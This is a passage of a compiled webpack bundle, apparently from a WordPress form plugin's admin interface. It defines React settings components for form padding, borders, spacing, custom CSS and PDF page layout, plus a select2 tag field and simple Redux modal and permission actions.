function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }

var paddingCustom = function (_Component) {
	_inherits(paddingCustom, _Component);

	function paddingCustom(props) {
		_classCallCheck(this, paddingCustom);

		return _possibleConstructorReturn(this, (paddingCustom.__proto__ || Object.getPrototypeOf(paddingCustom)).call(this, props));
	}

	_createClass(paddingCustom, [{
		key: 'render',
		value: function render() {
			return _react2.default.createElement(
				_react2.default.Fragment,
				null,
				_react2.default.createElement(
					'div',
					{ className: 'sui-row',
						style: { marginBottom: '10px' } },
					_react2.default.createElement(
						_col2.default,
						{ cols: '3' },
						_react2.default.createElement(_input2.default, _extends({}, this.props, {
							label: (0, _utils.translate)('Top'),
							type: 'number',
							placeholder: '0',
							property: 'form-padding-top'
						}))
					),
					_react2.default.createElement(
						_col2.default,
						{ cols: '3' },
						_react2.default.createElement(_input2.default, _extends({}, this.props, {
							label: (0, _utils.translate)('Bottom'),
							type: 'number',
							placeholder: '0',
							property: 'form-padding-bottom'
						}))
					),
					_react2.default.createElement(
						_col2.default,
						{ cols: '3' },
						_react2.default.createElement(_input2.default, _extends({}, this.props, {
							label: (0, _utils.translate)('Left'),
							type: 'number',
							placeholder: '0',
							property: 'form-padding-left'
						}))
					),
					_react2.default.createElement(
						_col2.default,
						{ cols: '3' },
						_react2.default.createElement(_input2.default, _extends({}, this.props, {
							label: (0, _utils.translate)('Right'),
							type: 'number',
							placeholder: '0',
							property: 'form-padding-right'
						}))
					)
				),
				_react2.default.createElement(
					'span',
					{ className: 'sui-description' },
					(0, _utils.translate)('Set your custom padding in pixels.')
				)
			);
		}
	}]);

	return paddingCustom;
}(_react.Component);

exports.default = paddingCustom;

/***/ }),
/* 292 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


Object.defineProperty(exports, "__esModule", {
	value: true
});

var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };

var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();

var _react = __webpack_require__(0);

var _react2 = _interopRequireDefault(_react);

var _utils = __webpack_require__(1);

var _row = __webpack_require__(8);

var _row2 = _interopRequireDefault(_row);

var _col = __webpack_require__(5);

var _col2 = _interopRequireDefault(_col);

var _input = __webpack_require__(3);

var _input2 = _interopRequireDefault(_input);

var _suiSelect = __webpack_require__(17);

var _suiSelect2 = _interopRequireDefault(_suiSelect);

function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }

function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }

function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }

var borderCustom = function (_Component) {
	_inherits(borderCustom, _Component);

	function borderCustom(props) {
		_classCallCheck(this, borderCustom);

		return _possibleConstructorReturn(this, (borderCustom.__proto__ || Object.getPrototypeOf(borderCustom)).call(this, props));
	}

	_createClass(borderCustom, [{
		key: 'render',
		value: function render() {
			return _react2.default.createElement(
				_react2.default.Fragment,
				null,
				_react2.default.createElement(
					'div',
					{ className: 'sui-row',
						style: { marginBottom: '10px' } },
					_react2.default.createElement(
						_col2.default,
						{ cols: '4' },
						_react2.default.createElement(_input2.default, _extends({}, this.props, {
							label: (0, _utils.translate)('Radius'),
							note: (0, _utils.translate)('in px'),
							type: 'number',
							placeholder: '0',
							property: 'form-border-radius'
						}))
					),
					_react2.default.createElement(
						_col2.default,
						{ cols: '4' },
						_react2.default.createElement(_input2.default, _extends({}, this.props, {
							label: (0, _utils.translate)('Thickness'),
							note: (0, _utils.translate)('in px'),
							type: 'number',
							placeholder: '0',
							property: 'form-border-width'
						}))
					),
					_react2.default.createElement(
						_col2.default,
						{ cols: '4' },
						_react2.default.createElement(
							_suiSelect2.default,
							_extends({}, this.props, {
								property: 'form-border-style',
								label: (0, _utils.translate)('Style')
							}),
							_react2.default.createElement(
								'option',
								{ value: 'solid' },
								(0, _utils.translate)('Solid')
							),
							_react2.default.createElement(
								'option',
								{ value: 'dashed' },
								(0, _utils.translate)('Dashed')
							),
							_react2.default.createElement(
								'option',
								{ value: 'dotted' },
								(0, _utils.translate)('Dotted')
							),
							_react2.default.createElement(
								'option',
								{ value: 'none' },
								(0, _utils.translate)('None')
							)
						)
					)
				),
				_react2.default.createElement(
					'span',
					{ className: 'sui-description' },
					(0, _utils.translate)('Note: Set the color of the border in the Colors settings area above.')
				)
			);
		}
	}]);

	return borderCustom;
}(_react.Component);

exports.default = borderCustom;

/***/ }),
/* 293 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


Object.defineProperty(exports, "__esModule", {
	value: true
});

var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };

var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();

var _react = __webpack_require__(0);

var _react2 = _interopRequireDefault(_react);

var _input = __webpack_require__(3);

var _input2 = _interopRequireDefault(_input);

var _utils = __webpack_require__(1);

function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }

function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }

function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }

var spacingCustom = function (_Component) {
	_inherits(spacingCustom, _Component);

	function spacingCustom(props) {
		_classCallCheck(this, spacingCustom);

		return _possibleConstructorReturn(this, (spacingCustom.__proto__ || Object.getPrototypeOf(spacingCustom)).call(this, props));
	}

	_createClass(spacingCustom, [{
		key: 'render',
		value: function render() {
			return _react2.default.createElement(_input2.default, _extends({}, this.props, {
				label: (0, _utils.translate)('Spacing'),
				note: (0, _utils.translate)('in pixels'),
				type: 'number',
				placeholder: (0, _utils.translate)('0'),
				property: (0, _utils.getThemePrefix)(this.props) + 'spacing'
			}));
		}
	}]);

	return spacingCustom;
}(_react.Component);

exports.default = spacingCustom;

/***/ }),
/* 294 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


Object.defineProperty(exports, "__esModule", {
	value: true
});

var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };

var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();

var _react = __webpack_require__(0);

var _react2 = _interopRequireDefault(_react);

var _utils = __webpack_require__(1);

var _toggle = __webpack_require__(25);

var _toggle2 = _interopRequireDefault(_toggle);

var _aceEditor = __webpack_require__(183);

var _aceEditor2 = _interopRequireDefault(_aceEditor);

function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }

function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }

function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }

var CustomCss = function (_Component) {
	_inherits(CustomCss, _Component);

	function CustomCss(props) {
		_classCallCheck(this, CustomCss);

		return _possibleConstructorReturn(this, (CustomCss.__proto__ || Object.getPrototypeOf(CustomCss)).call(this, props));
	}

	_createClass(CustomCss, [{
		key: 'render',
		value: function render() {
			return _react2.default.createElement(
				'div',
				{ className: 'sui-box-settings-row' },
				_react2.default.createElement(
					'div',
					{ className: 'sui-box-settings-col-1' },
					_react2.default.createElement(
						'span',
						{ className: 'sui-settings-label' },
						(0, _utils.translate)('Custom CSS')
					),
					_react2.default.createElement(
						'span',
						{ className: 'sui-description' },
						(0, _utils.translate)('For more advanced customization options use custom CSS.')
					)
				),
				_react2.default.createElement(
					'div',
					{ className: 'sui-box-settings-col-2' },
					_react2.default.createElement(
						'div',
						{ className: 'sui-form-field' },
						_react2.default.createElement(
							'div',
							{ style: { marginBottom: '10px' } },
							_react2.default.createElement(_toggle2.default, _extends({}, this.props, {
								label: (0, _utils.translate)('Enable custom CSS'),
								property: 'use-custom-css',
								unWrap: true
							}))
						),
						!_.isUndefined(this.props.settings['use-custom-css']) && this.props.settings['use-custom-css'] && _react2.default.createElement(_aceEditor2.default, _extends({}, this.props, {
							property: 'custom_css',
							type: 'form'
						}))
					)
				)
			);
		}
	}]);

	return CustomCss;
}(_react.Component);

exports.default = CustomCss;

/***/ }),
/* 295 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


Object.defineProperty(exports, "__esModule", {
	value: true
});

var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };

var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();

var _react = __webpack_require__(0);

var _react2 = _interopRequireDefault(_react);

var _utils = __webpack_require__(1);

var _suiSelect = __webpack_require__(17);

var _suiSelect2 = _interopRequireDefault(_suiSelect);

var _toggle = __webpack_require__(25);

var _toggle2 = _interopRequireDefault(_toggle);

var _col = __webpack_require__(5);

var _col2 = _interopRequireDefault(_col);

var _input = __webpack_require__(3);

var _input2 = _interopRequireDefault(_input);

var _pageMargin = __webpack_require__(296);

var _pageMargin2 = _interopRequireDefault(_pageMargin);

function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }

function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }

function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }

var PageSettings = function (_Component) {
	_inherits(PageSettings, _Component);

	function PageSettings(props) {
		_classCallCheck(this, PageSettings);

		return _possibleConstructorReturn(this, (PageSettings.__proto__ || Object.getPrototypeOf(PageSettings)).call(this, props));
	}

	_createClass(PageSettings, [{
		key: 'render',
		value: function render() {
			return _react2.default.createElement(
				_react2.default.Fragment,
				null,
				_react2.default.createElement(
					'div',
					{
						role: 'alert',
						className: 'sui-notice sui-notice-blue sui-active',
						'aria-live': 'assertive',
						style: { display: 'block' }
					},
					_react2.default.createElement(
						'div',
						{ className: 'sui-notice-content' },
						_react2.default.createElement(
							'div',
							{ className: 'sui-notice-message' },
							_react2.default.createElement('span', { className: 'sui-notice-icon sui-icon-info', 'aria-hidden': 'true' }),
							_react2.default.createElement(
								'p',
								null,
								(0, _utils.translate)('Our PDF builder is constantly improving and we’ll be adding more features over time. ' + 'While the current release has limited customization options, ' + 'we appreciate your patience as we work to bring you the best experience possible. ' + 'Keep an eye out for updates. To manually adjust the appearance of the fields, ' + 'you can enable the Custom CSS option below.')
							)
						)
					)
				),
				_react2.default.createElement(
					'div',
					{ className: 'sui-box-settings-row' },
					_react2.default.createElement(
						'div',
						{ className: 'sui-box-settings-col-1' },
						_react2.default.createElement(
							'span',
							{ className: 'sui-settings-label' },
							(0, _utils.translate)('Page settings')
						),
						_react2.default.createElement(
							'span',
							{ className: 'sui-description' },
							(0, _utils.translate)('Configure the PDF file settings')
						)
					),
					_react2.default.createElement(
						'div',
						{ className: 'sui-box-settings-col-2' },
						_react2.default.createElement(
							'label',
							{ className: 'sui-settings-label' },
							(0, _utils.translate)('Page size')
						),
						_react2.default.createElement(
							'span',
							{ className: 'sui-description', style: { marginBottom: '10px' } },
							(0, _utils.translate)('Choose the standard paper size for your PDF document. ' + 'The default resolution for each page is set at 96dpi.')
						),
						_react2.default.createElement(
							_suiSelect2.default,
							_extends({}, this.props, {
								property: 'paper_size',
								defaultValue: 'A4'
							}),
							_.map(forminatorData.pdf_page_sizes, function (size, key) {
								return _react2.default.createElement(
									'option',
									{ key: key, value: key },
									size
								);
							})
						),
						_react2.default.createElement(
							'div',
							{ className: 'sui-form-field' },
							_react2.default.createElement(_toggle2.default, _extends({}, this.props, {
								label: (0, _utils.translate)('Enable RTL (right-to-left)'),
								property: 'enable_rtl',
								unWrap: true
							}))
						),
						_react2.default.createElement('hr', null),
						_react2.default.createElement(_pageMargin2.default, this.props)
					)
				)
			);
		}
	}]);

	return PageSettings;
}(_react.Component);

exports.default = PageSettings;

/***/ }),
/* 296 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


Object.defineProperty(exports, "__esModule", {
	value: true
});

var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };

var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();

var _react = __webpack_require__(0);

var _react2 = _interopRequireDefault(_react);

var _utils = __webpack_require__(1);

var _col = __webpack_require__(5);

var _col2 = _interopRequireDefault(_col);

var _input = __webpack_require__(3);

var _input2 = _interopRequireDefault(_input);

var _radioTabs = __webpack_require__(7);

var _radioTabs2 = _interopRequireDefault(_radioTabs);

var _container = __webpack_require__(4);

var _container2 = _interopRequireDefault(_container);

var _suiSelect = __webpack_require__(17);

var _suiSelect2 = _interopRequireDefault(_suiSelect);

function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }

function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }

function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }

var pageMargin = function (_Component) {
	_inherits(pageMargin, _Component);

	function pageMargin(props) {
		_classCallCheck(this, pageMargin);

		return _possibleConstructorReturn(this, (pageMargin.__proto__ || Object.getPrototypeOf(pageMargin)).call(this, props));
	}

	_createClass(pageMargin, [{
		key: 'render',
		value: function render() {
			return _react2.default.createElement(
				_radioTabs2.default,
				_extends({}, this.props, {
					property: 'pdf_margin',
					divClass: 'pdf-page-margin',
					settingsLabel: (0, _utils.translate)('Page Margin'),
					'default': 'default',
					description: (0, _utils.translate)('Default margin for all paper sizes is 30px. ' + 'Use the custom tab to set a different value.')
				}),
				_react2.default.createElement(_container2.default, { value: 'default', label: (0, _utils.translate)('Default') }),
				_react2.default.createElement(
					_container2.default,
					{
						value: 'custom',
						label: (0, _utils.translate)('Custom')
					},
					_react2.default.createElement(
						'div',
						{ className: 'sui-border-frame' },
						_react2.default.createElement(
							'div',
							{ className: 'sui-row',
								style: { marginBottom: '10px' } },
							_react2.default.createElement(
								_col2.default,
								{ cols: '12' },
								_react2.default.createElement(
									_suiSelect2.default,
									_extends({}, this.props, {
										label: (0, _utils.translate)('Margin'),
										property: 'pdf_margin_unit',
										fieldClass: 'fui-select-inline',
										fieldsize: '100'
									}),
									_react2.default.createElement(
										'option',
										{ value: 'pt' },
										'pt'
									),
									_react2.default.createElement(
										'option',
										{ value: 'px' },
										'px'
									),
									_react2.default.createElement(
										'option',
										{ value: 'mm' },
										'mm'
									),
									_react2.default.createElement(
										'option',
										{ value: 'in' },
										'in'
									)
								)
							),
							_react2.default.createElement(
								_col2.default,
								{ cols: '3' },
								_react2.default.createElement(_input2.default, _extends({}, this.props, {
									label: (0, _utils.translate)('Top'),
									type: 'number',
									placeholder: '0',
									property: 'pdf_margin_top'
								}))
							),
							_react2.default.createElement(
								_col2.default,
								{ cols: '3' },
								_react2.default.createElement(_input2.default, _extends({}, this.props, {
									label: (0, _utils.translate)('Bottom'),
									type: 'number',
									placeholder: '0',
									property: 'pdf_margin_bottom'
								}))
							),
							_react2.default.createElement(
								_col2.default,
								{ cols: '3' },
								_react2.default.createElement(_input2.default, _extends({}, this.props, {
									label: (0, _utils.translate)('Left'),
									type: 'number',
									placeholder: '0',
									property: 'pdf_margin_left'
								}))
							),
							_react2.default.createElement(
								_col2.default,
								{ cols: '3' },
								_react2.default.createElement(_input2.default, _extends({}, this.props, {
									label: (0, _utils.translate)('Right'),
									type: 'number',
									placeholder: '0',
									property: 'pdf_margin_right'
								}))
							)
						)
					)
				)
			);
		}
	}]);

	return pageMargin;
}(_react.Component);

exports.default = pageMargin;

/***/ }),
/* 297 */,
/* 298 */,
/* 299 */,
/* 300 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


Object.defineProperty(exports, "__esModule", {
	value: true
});

var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();

var _react = __webpack_require__(0);

var _react2 = _interopRequireDefault(_react);

function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }

function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }

function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }

var SuiTags = function (_Component) {
	_inherits(SuiTags, _Component);

	function SuiTags(props) {
		_classCallCheck(this, SuiTags);

		var _this = _possibleConstructorReturn(this, (SuiTags.__proto__ || Object.getPrototypeOf(SuiTags)).call(this, props));

		_this.handleChange = _this.handleChange.bind(_this);
		return _this;
	}

	_createClass(SuiTags, [{
		key: 'componentDidMount',
		value: function componentDidMount() {
			var self = this;
			var value = _.isUndefined(this.props.settings[this.props.property]) ? [] : this.props.settings[this.props.property];

			this.$el = jQuery(this.el);
			var options = Object.assign({ allowClear: true, dropdownCssClass: 'sui-select-dropdown' }, this.props.options);

			if (typeof this.$el.SUIselect2 === 'function') {
				this.$el.SUIselect2(options);
			} else if (typeof this.$el.FUIselect2 === 'function') {
				this.$el.FUIselect2(options);
			} else {
				console.log('select2 not intiated');
			}

			this.$el.on('change.select2', this.handleChange);

			if (!_.isUndefined(this.props.settings.permission_type) && ('specific' === this.props.settings.permission_type || !_.isUndefined(this.props.settings.user_info))) {
				var userInfos = this.props.settings.user_info;

				// initial values append
				_.each(value, function (option) {
					if (!_.isUndefined(userInfos[option])) {
						self.$el.append(jQuery('<option value="' + option + '">' + userInfos[option].email + '</option>'));
					}
				});
			} else {

				// initial values append
				_.each(value, function (option) {
					self.$el.append(jQuery('<option value="' + option + '">' + option + '</option>'));
				});
			}

			// initial values on mount
			this.$el.val(value).trigger('change.select2');
		}
	}, {
		key: 'componentDidUpdate',
		value: function componentDidUpdate(prevProps, prevState) {
			if (!_.isUndefined(this.props.settings.user_role) && prevProps.settings.user_role !== this.props.settings.user_role) {
				this.$el.val([]).trigger('change.select2');
			}
		}
	}, {
		key: 'handleChange',
		value: function handleChange(e) {
			var value = jQuery(e.target).val();

			// Check if we're on field settings
			if (typeof this.props.updateProperty === 'function') {
				// Update field state
				this.props.updateProperty(this.props.property, value);
			} else {
				// Update store
				this.props.actions.settingsActions.updateSetting(this.props.property, value);
			}
		}
	}, {
		key: 'componentWillUnmount',
		value: function componentWillUnmount() {
			this.$el.off('change', this.handleChange);
			this.$el.unbind().removeData();
		}
	}, {
		key: 'render',
		value: function render() {
			var _this2 = this;

			var value = _.isUndefined(this.props.settings[this.props.property]) ? [] : this.props.settings[this.props.property];

			var fieldLabel = '';

			if (this.props.label) {
				fieldLabel = _react2.default.createElement(
					'label',
					{ htmlFor: 'forminator-field-' + this.props.property, className: 'sui-label' },
					this.props.label,
					this.props.note && _react2.default.createElement(
						'span',
						{ className: 'sui-label-note' },
						this.props.note
					)
				);
			}

			return _react2.default.createElement(
				'div',
				{ className: 'sui-form-field', style: this.props.style },
				fieldLabel,
				_react2.default.createElement(
					'select',
					{
						ref: function ref(el) {
							return _this2.el = el;
						},
						className: 'sui-select',
						defaultValue: value,
						multiple: 'multiple'
					},
					this.props.children
				)
			);
		}
	}]);

	return SuiTags;
}(_react.Component);

exports.default = SuiTags;

/***/ }),
/* 301 */,
/* 302 */,
/* 303 */,
/* 304 */,
/* 305 */,
/* 306 */,
/* 307 */,
/* 308 */,
/* 309 */,
/* 310 */,
/* 311 */,
/* 312 */,
/* 313 */,
/* 314 */,
/* 315 */,
/* 316 */,
/* 317 */,
/* 318 */,
/* 319 */,
/* 320 */,
/* 321 */,
/* 322 */,
/* 323 */,
/* 324 */,
/* 325 */,
/* 326 */,
/* 327 */,
/* 328 */,
/* 329 */,
/* 330 */,
/* 331 */,
/* 332 */,
/* 333 */,
/* 334 */,
/* 335 */,
/* 336 */,
/* 337 */,
/* 338 */,
/* 339 */,
/* 340 */,
/* 341 */,
/* 342 */,
/* 343 */,
/* 344 */,
/* 345 */,
/* 346 */,
/* 347 */,
/* 348 */,
/* 349 */,
/* 350 */,
/* 351 */,
/* 352 */,
/* 353 */,
/* 354 */,
/* 355 */,
/* 356 */,
/* 357 */,
/* 358 */,
/* 359 */,
/* 360 */,
/* 361 */,
/* 362 */,
/* 363 */,
/* 364 */,
/* 365 */,
/* 366 */,
/* 367 */,
/* 368 */,
/* 369 */,
/* 370 */,
/* 371 */,
/* 372 */,
/* 373 */,
/* 374 */,
/* 375 */,
/* 376 */,
/* 377 */,
/* 378 */,
/* 379 */,
/* 380 */,
/* 381 */,
/* 382 */,
/* 383 */,
/* 384 */,
/* 385 */,
/* 386 */,
/* 387 */,
/* 388 */,
/* 389 */,
/* 390 */,
/* 391 */,
/* 392 */,
/* 393 */,
/* 394 */,
/* 395 */,
/* 396 */,
/* 397 */,
/* 398 */,
/* 399 */,
/* 400 */,
/* 401 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


Object.defineProperty(exports, "__esModule", {
	value: true
});
var showModal = exports.showModal = function showModal(modalProps, modalType) {
	return function (dispatch) {
		dispatch({
			type: 'SHOW_MODAL',
			modalProps: modalProps,
			modalType: modalType
		});
	};
};

var hideModal = exports.hideModal = function hideModal() {
	return function (dispatch) {
		dispatch({
			type: 'HIDE_MODAL'
		});
	};
};

/***/ }),
/* 402 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


Object.defineProperty(exports, "__esModule", {
	value: true
});
var updatePermissions = exports.updatePermissions = function updatePermissions(permissions) {
	return function (dispatch) {
		dispatch({
			type: 'UPDATE_PERMISSIONS',
			permissions: permissions
		});
	};
};

/***/ }),
/* 403 */,
/* 404 */,
/* 405 */,
/* 406 */,
/* 407 */,
/* 408 */,
/* 409 */,
/* 410 */,
/* 411 */,
/* 412 */,
/* 413 */,
/* 414 */,
/* 415 */,
/* 416 */,
/* 417 */,
/* 418 */,
/* 419 */,
/* 420 */,
/* 421 */,
/* 422 */,
/* 423 */,
/* 424 */,
/* 425 */,
/* 426 */,
/* 427 */,
/* 428 */,
/* 429 */,
/* 430 */,
/* 431 */,
/* 432 */,
/* 433 */,
/* 434 */,
/* 435 */,
/* 436 */,
/* 437 */,
/* 438 */,
/* 439 */,
/* 440 */,
/* 441 */,
/* 442 */,
/* 443 */,
/* 444 */,
/* 445 */,
/* 446 */,
/* 447 */,
/* 448 */,
/* 449 */,
/* 450 */,
/* 451 */,
/* 452 */,
/* 453 */,
/* 454 */,
/* 455 */,
/* 456 */,
/* 457 */,
/* 458 */,
/* 459 */,
/* 460 */,
/* 461 */,
/* 462 */,
/* 463 */,
/* 464 */,
/* 465 */,
/* 466 */,
/* 467 */,
/* 468 */,
/* 469 */,
/* 470 */,
/* 471 */,
/* 472 */,
/* 473 */,
/* 474 */,
/* 475 */,
/* 476 */,
/* 477 */,
/* 478 */,
/* 479 */,
/* 480 */,
/* 481 */,
/* 482 */,
/* 483 */,
/* 484 */,
/* 485 */,
/* 486 */,
/* 487 */,
/* 488 */,
/* 489 */,
/* 490 */,
/* 491 */,
/* 492 */,
/* 493 */,
/* 494 */,
/* 495 */,
/* 496 */,
/* 497 */,
/* 498 */,
/* 499 */,
/* 500 */,
/* 501 */,
/* 502 */,
/* 503 */,
/* 504 */,
/* 505 */,
/* 506 */,
/* 507 */,
/* 508 */,
/* 509 */,
/* 510 */,
/* 511 */,
/* 512 */,
/* 513 */,
/* 514 */,
/* 515 */,
/* 516 */,
/* 517 */,
/* 518 */,
/* 519 */,
/* 520 */,
/* 521 */,
/* 522 */,
/* 523 */,
/* 524 */,
/* 525 */,
/* 526 */,
/* 527 */,
/* 528 */,
/* 529 */,
/* 530 */,
/* 531 */,
/* 532 */,
/* 533 */,
/* 534 */,
/* 535 */,
/* 536 */,
/* 537 */,
/* 538 */,
/* 539 */,
/* 540 */,
/* 541 */,
/* 542 */,
/* 543 */,
/* 544 */,
/* 545 */,
/* 546 */,
/* 547 */,
/* 548 */,
/* 549 */,
/* 550 */,
/* 551 */,
/* 552 */,
/* 553 */,
/* 554 */,
/* 555 */,
/* 556 */,
/* 557 */,
/* 558 */,
/* 559 */,
/* 560 */,
/* 561 */,
/* 562 */,
/* 563 */,
/* 564 */,
/* 565 */,
/* 566 */,
/* 567 */,
/* 568 */,
/* 569 */,
/* 570 */,
/* 571 */,
/* 572 */,
/* 573 */,
/* 574 */,
/* 575 */,
/* 576 */,
/* 577 */,
/* 578 */,
/* 579 */,
/* 580 */,
/* 581 */,
/* 582 */,
/* 583 */,
/* 584 */,
/* 585 */,
/* 586 */,
/* 587 */,
/* 588 */,
/* 589 */,
/* 590 */,
